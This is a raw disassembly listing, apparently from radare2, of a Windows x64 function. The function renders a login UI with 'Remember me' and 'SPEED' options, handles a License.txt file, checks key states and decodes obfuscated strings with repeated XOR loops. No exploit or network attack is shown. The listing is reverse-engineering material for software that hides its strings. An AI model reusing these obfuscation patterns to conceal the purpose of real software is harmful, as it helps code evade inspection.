mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov rbx, qword [rax + 0x298]
mov rax, qword [0x1401990f0]
add rdx, rax
mov r14d, dword [rdi + rax + 0x18]
movss xmm2, dword [rdi + rax + 0x14]
test r14d, 0xff000000
je 0x14004de63
comiss xmm9, xmm2
ja 0x14004de63
xor r9d, r9d
mov dword [rsp + 0x20], Ordinal_50
mov rcx, rbx
call fcn.14001e1b0
mov r8d, dword [rbx + 0x78]
mov r9d, r14d
mov rdx, qword [rbx + 0x80]
dec r8d
mov rcx, rbx
mov dword [rbx + 0x78], r8d
call fcn.14001dbe0
mov dword [rbx + 0x78], 0
movabs r10, 0x4924924924924925
mov rax, qword [0x1401990f0]
mov rcx, qword [0x1401990f8]
inc esi
sub rcx, rax
movsxd r8, esi
mov rax, r10
add rdi, 0x1c
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp r8, rdx
jb 0x14004ddd0
mov r14d, dword [reloc.WS2_32.dll_accept]
movss xmm0, dword [0x14015f598]
xor esi, esi
movss xmm6, dword [0x14015f5a0]
movaps xmm3, xmm0
movss xmm1, dword [0x14015f658]
movaps xmm2, xmm6
mov rcx, qword [0x140198ad8]
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
call fcn.140033ad0
movss xmm3, dword [0x14015f588]
movaps xmm2, xmm6
movss xmm1, dword [0x14015f650]
mov rcx, qword [0x140198af8]
mov dword [rsp + 0x28], 1
movss dword [rsp + 0x20], xmm6
call fcn.140033ad0
mov rbx, qword [0x140198ab0]
lea rdx, [rbp + 0x110]
movss xmm6, dword [0x1401979d0]
mov dword [rbp + 0x110], esi
movss xmm0, dword [rbx + 0x37f0]
lea rcx, [rbx + 0x4850]
movss dword [rbp + 0x114], xmm0
call fcn.14001a260
mov rcx, qword [0x140198ab0]
lea r9, [rbp + 0x98]
movss dword [rbx + 0x37f0], xmm6
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0x88]
mov dword [rbp + 0x98], 0x3f800000
mov dword [rbp + 0x9c], 0x3f800000
mov rax, qword [rcx + 0x3ef0]
mov qword [rbp + 0x90], rsi
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm0, dword [0x1401990c8]
addss xmm1, dword [0x140197984]
movss dword [rax + 0x100], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
movdqa xmm0, xmmword [0x14015fb00]
movss dword [rax + 0x104], xmm1
lea rax, [rbp + 0x270]
movss xmm1, dword [0x140197980]
mov rcx, qword [0x140198ae8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x290]
movups xmmword [rbp + 0x290], xmm0
mov qword [rsp + 0x20], rax
movss xmm0, dword [0x140197988]
movss dword [rbp + 0x88], xmm0
movss dword [rbp + 0x8c], xmm1
call fcn.14002d290
mov rcx, qword [0x140198ab0]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x140198cd4]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [0x140198cd0]
movss dword [rbp + 0xbc], xmm1
movss xmm1, dword [0x140198cdc]
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0xb8]
mov rdi, qword [rax + 0x298]
movss dword [rbp + 0xb8], xmm0
movss xmm0, dword [0x140198cd8]
movss dword [rbp + 0xc4], xmm1
movss dword [rbp + 0xc0], xmm0
mov qword [rbp + 0xa0], rsi
call fcn.140004130
movss xmm1, dword [0x140197980]
mov ebx, eax
movss xmm0, dword [0x140197988]
mulss xmm1, xmm9
addss xmm1, dword [0x140197984]
movss xmm2, dword [0x14015f550]
lea rdx, [rbp + 0x80]
mulss xmm0, xmm9
xor r9d, r9d
mov rcx, rdi
mov dword [rsp + 0x20], recv
movss dword [rbp + 0x84], xmm1
addss xmm0, dword [0x1401990c8]
movss dword [rbp + 0x80], xmm0
call fcn.14001e650
movss xmm0, dword [0x14015f600]
lea rax, [rbp + 0xa0]
mov r8d, dword [rdi + 0x78]
mov r9d, ebx
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm0
call fcn.14001f800
mov ecx, 1
mov dword [rdi + 0x78], esi
call fcn.1400043d0
lea rdx, [0x140198fb8]
lea rcx, [rbp + 0x4b8]
call fcn.140054e00
cmp dword [0x14019910c], esi
jne 0x14004e517
call fcn.140053390
movups xmm6, xmmword [0x1401991b8]
mov dword [0x1401990e4], esi
movss xmm8, dword [0x140197984]
addss xmm8, dword [0x14015f5e8]
mov dword [0x140199108], esi
mov rsi, qword [0x140198ae0]
mov rcx, rsi
movaps xmmword [rbp + 0x290], xmm6
mov dword [0x1401979d0], 0x3f800000
call fcn.1400103f0
movss xmm9, dword [rbp + 0x29c]
lea r14, [0x14015ea81]
movss xmm12, dword [0x14015f51c]
lea r12, str.SPEED
movss xmm15, dword [0x14015f578]
movaps xmm0, xmm6
shufps xmm0, xmm6, 0x55
xor r13d, r13d
movss dword [rbp + 0xc8], xmm6
mov edi, r13d
shufps xmm6, xmm6, 0xaa
xorps xmm14, xmm14
movss dword [rbp + 0xd0], xmm6
movss dword [rbp + 0xcc], xmm0
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [0x140198ab0]
lea rdx, [rbp + 0x104]
movaps xmm6, xmm12
mov dword [rbp + 0x104], r13d
divss xmm6, xmm7
lea rcx, [rbx + 0x4850]
movss xmm0, dword [rbx + 0x37f0]
divss xmm6, dword [0x14015f57c]
movss dword [rbp + 0x108], xmm0
call fcn.14001a260
mov rcx, qword [0x140198ab0]
movaps xmm0, xmm9
movss dword [rbx + 0x37f0], xmm6
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mulss xmm0, dword [rcx + 0x37f0]
lea rcx, [rbp + 0xc8]
mov r8, qword [rax + 0x298]
movss dword [rbp + 0xd4], xmm0
call fcn.140004130
movaps xmm0, xmm8
mov r9d, eax
addss xmm0, xmm7
mov rcx, rsi
addss xmm7, dword [0x14015f61c]
movss dword [rbp + 0x7c], xmm0
movss dword [rbp + 0x78], xmm7
test eax, 0xff000000
je 0x14004e31a
test rsi, rsi
jne 0x14004e2d0
mov rax, qword [r8 + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [r8 + 0x88]
lea rax, [rbp + 0x290]
mov byte [rsp + 0x48], r13b
movss xmm2, dword [0x14015f5b0]
mov rdx, r8
movss dword [rsp + 0x40], xmm14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp + 0x78]
movups xmmword [rbp + 0x290], xmm0
call fcn.140024000
mov ecx, 1
call fcn.1400043d0
inc edi
movd xmm7, edi
cvtdq2ps xmm7, xmm7
comiss xmm15, xmm7
ja 0x14004e210
movdqa xmm12, xmmword [0x14015f740]
movdqa xmm14, xmmword [0x14015f750]
movdqa xmm15, xmmword [0x14015f7a0]
movzx r12d, byte [rbp]
mov r14d, dword [reloc.WS2_32.dll_accept]
mov r13d, dword [rbp + 0x14]
call fcn.140010490
movss xmm0, dword [0x140197984]
addss xmm0, dword [0x14015f604]
movss xmm7, dword [0x14015f628]
movss xmm6, dword [0x14015f5f4]
movss dword [rsp + 0x30], xmm7
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x20], xmm6
call fcn.140032d40
mov rcx, qword [0x140198ab0]
lea rdx, [0x1401990cd]
movss xmm2, dword [0x140197984]
addss xmm2, dword [0x14015f614]
movss xmm3, dword [0x14015f5f0]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Remember_me
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], 1
addss xmm1, xmm2
addss xmm0, dword [0x14015f640]
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
call fcn.1400330f0
movss xmm3, dword [0x140197984]
lea rdx, [0x14015eaa4]
movss xmm0, dword [0x14015f5a8]
lea rcx, str.Login
addss xmm3, dword [0x14015f624]
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm7
call fcn.140032360
test al, al
je 0x14004e500
mov ecx, 8
call fcn.140127260
lea rcx, [rbp + 0x4b8]
xor esi, esi
mov r9, rax
lea r8, [0x140058430]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x438]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x430], rax
test rax, rax
je 0x140052d6f
cmp dword [rbp + 0x438], esi
je 0x140052d63
movaps xmm0, xmmword [rbp + 0x430]
lea rcx, [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052d63
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x430], xmm0
jmp 0x14004e502
xor esi, esi
movss xmm9, dword [0x14015f4e8]
xorps xmm7, xmm7
movdqa xmm8, xmmword [str.5555]
cmp dword [0x14019910c], 1
jne 0x14004e6c6
mov rbx, qword [0x140198ab0]
movss xmm0, dword [0x1401990e4]
addss xmm0, dword [rbx + 0x18]
mov rax, qword [rbx + 0x3ef0]
comiss xmm0, dword [0x14015f534]
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3ef0]
movss dword [0x1401990e4], xmm0
jb 0x140052882
movss xmm2, dword [0x14015f4a4]
movss xmm1, dword [rbx + 0x18]
mulss xmm1, dword [0x14015f564]
mov byte [0x1401990cc], 1
movss xmm0, dword [0x140199108]
subss xmm2, dword [0x1401990e0]
mulss xmm2, xmm1
addss xmm2, dword [0x1401990e0]
movss dword [0x1401990e0], xmm2
test r12b, r12b
je 0x14004e5b9
movss xmm3, dword [0x140197984]
addss xmm0, xmm10
jmp 0x14004e661
movss xmm2, dword [0x14015f5f8]
addss xmm0, xmm7
movss xmm1, dword [rax + 0x28]
movss xmm3, dword [rax + 0x2c]
subss xmm1, xmm2
mulss xmm3, xmm9
mulss xmm1, xmm9
mulss xmm3, xmm9
subss xmm1, dword [0x1401990c8]
subss xmm3, dword [0x140197984]
mulss xmm1, xmm10
mulss xmm3, xmm10
addss xmm1, dword [0x1401990c8]
addss xmm3, dword [0x140197984]
movss dword [0x1401990c8], xmm1
movaps xmm1, xmm2
subss xmm1, dword [0x140197988]
movss xmm2, dword [0x14015f5e0]
subss xmm2, dword [0x140197980]
movss dword [0x140197984], xmm3
mulss xmm1, xmm10
mulss xmm2, xmm10
addss xmm1, dword [0x140197988]
addss xmm2, dword [0x140197980]
movss dword [0x140197988], xmm1
movss dword [0x140197980], xmm2
movss dword [0x140199108], xmm0
test r15b, r15b
je 0x14004e68e
movss xmm0, dword [0x14015f648]
subss xmm0, xmm3
mulss xmm0, xmm10
addss xmm0, xmm3
movss dword [0x140197984], xmm0
movaps xmm3, xmm0
comiss xmm3, dword [0x14015f644]
movss xmm0, dword [0x1401979d0]
cvtps2pd xmm0, xmm0
subsd xmm0, qword [0x14015f520]
cvtpd2ps xmm0, xmm0
movss dword [0x1401979d0], xmm0
jbe 0x140052882
mov dword [0x14019910c], 2
jmp 0x14004e6d3
cmp dword [0x14019910c], 2
jne 0x140050bd1
call fcn.140053390
cmp byte [0x1401990cd], 0
mov dword [0x1401979d0], 0x3f800000
je 0x14004e8ba
xor edx, edx
lea rcx, [rbp + 0x308]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14015f194]
lea rcx, [rbp + 0x3a8]
mov qword [rbp + 0x300], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
or r13d, 1
lea rdx, [rbp + 0x308]
xor r9d, r9d
mov dword [rbp + 0x14], r13d
xor r8d, r8d
lea rcx, [rbp + 0x300]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x300]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x300], rbx
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2fc], edx
lea rcx, [rbp + 0x308]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x384], 0
lea rcx, [rbp + 0x308]
mov qword [rbp + 0x308], rax
mov byte [rbp + 0x379], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x140199238]
lea rdx, str.License.txt
mov r9d, 0x40
mov qword [rbp + 0x37c], rax
mov r8d, 2
mov qword [rbp + 0x388], rsi
lea rcx, [rbp + 0x308]
mov qword [rbp + 0x370], rsi
call fcn.140055400
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x300]
je 0x14004e80a
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x14004e818
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [rbp + 0x388], 0
je 0x14004e835
lea rdx, [0x140199110]
lea rcx, [rbp + 0x300]
call fcn.1400562e0
lea rcx, [rbp + 0x308]
call fcn.140055340
test rax, rax
jne 0x14004e869
mov rax, qword [rbp + 0x300]
xor r8d, r8d
mov edx, 2
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x300]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x300], rbx
mov rax, qword [rbp + 0x300]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2fc], edx
lea rcx, [rbp + 0x308]
call fcn.140054340
lea rcx, [rbp + 0x310]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
cmp byte [0x14015f1a7], 0
movss xmm2, dword [0x140197984]
mov rax, qword [str.cT_ZUYE7]
addss xmm2, dword [0x14015f5c8]
mov qword [rbp + 0x270], rax
je 0x14004ea13
mov r8d, esi
cmp r14d, 2
jl 0x14004e9cc
movdqa xmm7, xmmword [str.0000000000000000]
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
pmuldq xmm1, xmm11
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, dword [rbp + 0x270]
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm7
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x270], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, dword [rbp + 0x274]
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm7
xorps xmm1, xmm0
movd dword [rbp + 0x274], xmm1
jmp 0x14004ea1b
lea r9, [rbp + 0x270]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14004e9e0
movdqa xmm7, xmmword [str.0000000000000000]
movss xmm0, dword [0x14015f5c4]
lea rcx, [rbp + 0x270]
movss xmm3, dword [0x14015f620]
movss xmm1, dword [0x14015f5a4]
movss dword [rsp + 0x20], xmm0
call fcn.140033ce0
movzx eax, word [0x14015f3d0]
mov r8d, esi
mov word [rsp + 0x70], ax
movzx eax, byte [0x14015f3d2]
mov byte [rsp + 0x72], al
movups xmm2, xmmword [0x14015f3c0]
movups xmmword [rsp + 0x60], xmm2
cmp r14d, 2
jl 0x14004ec26
movdqa xmm6, xmmword [0x14015f760]
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd eax, xmm2
movdqa xmm2, xmm12
movd ecx, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x6c]
movdqa xmm2, xmm6
psubd xmm2, xmm0
mov r8d, reloc.WS2_32.dll_recv
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14004ec2e
movdqa xmm6, xmmword [0x14015f760]
mov eax, r8d
lea r10, [rsp + 0x60]
add r10, rax
nop dword [rax]
mov eax, 0x4d4873ed
lea r10, [r10 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r10 - 1], al
cmp r8d, 0x13
jl 0x14004ec40
movups xmm0, xmmword [0x1401991f8]
lea rax, [rbp + 0x290]
mov r9, qword [0x140198af0]
movss xmm10, dword [0x14015f5b0]
lea rcx, [rsp + 0x60]
movss xmm9, dword [0x14015f590]
movaps xmm1, xmm10
movss xmm2, dword [0x14015f5cc]
mov qword [rsp + 0x28], rax
movdqa xmmword [rbp + 0x290], xmm0
movss dword [rsp + 0x20], xmm9
call fcn.140033770
movups xmm2, xmmword [0x14015f118]
movss xmm3, dword [0x140197984]
addss xmm3, dword [0x14015f5dc]
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
movups xmmword [rbp + 0x270], xmm2
test al, al
je 0x14004eef3
mov r8d, esi
cmp r14d, 2
jl 0x14004eeb3
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rbp + 0x270], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x274]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rbp + 0x274], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x278]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movd dword [rbp + 0x278], xmm2
movdqa xmm2, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rbp + 0x27c]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x27c], xmm2
jmp 0x14004eef3
lea r10, [rbp + 0x270]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r10, [r10 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r10 - 1], al
cmp r8d, 0x10
jl 0x14004eec0
movups xmm0, xmmword [0x1401991f8]
mov r9, qword [0x140198af0]
lea rax, [rbp + 0x290]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x270]
movaps xmm2, xmm3
movdqa xmmword [rbp + 0x290], xmm0
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm9
call fcn.140033770
cmp byte [0x14015f42d], 0
movups xmm2, xmmword [0x14015f418]
movzx eax, word [0x14015f42c]
movss xmm3, dword [0x140197984]
mov edx, dword [0x14015f428]
addss xmm3, dword [0x14015f5e8]
movups xmmword [rsp + 0x60], xmm2
mov dword [rsp + 0x70], edx
mov word [rsp + 0x74], ax
je 0x14004f1d1
mov r8d, esi
cmp r14d, 2
jl 0x14004f187
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movd dword [rsp + 0x68], xmm2
movdqa xmm2, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x6c]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, reloc.WS2_32.dll_sendto
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
movdqa xmm2, xmmword [0x14015f770]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x70], xmm2
mov eax, r8d
lea r10, [rsp + 0x60]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r10, [r10 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r10 - 1], al
cmp r8d, 0x16
jl 0x14004f1a0
movups xmm0, xmmword [0x1401991f8]
mov r9, qword [0x140198af0]
lea rax, [rbp + 0x290]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x60]
movaps xmm2, xmm3
movdqa xmmword [rbp + 0x290], xmm0
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm9
call fcn.140033770
call fcn.14000aca0
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14004f22a
mov dword [0x14019910c], 3
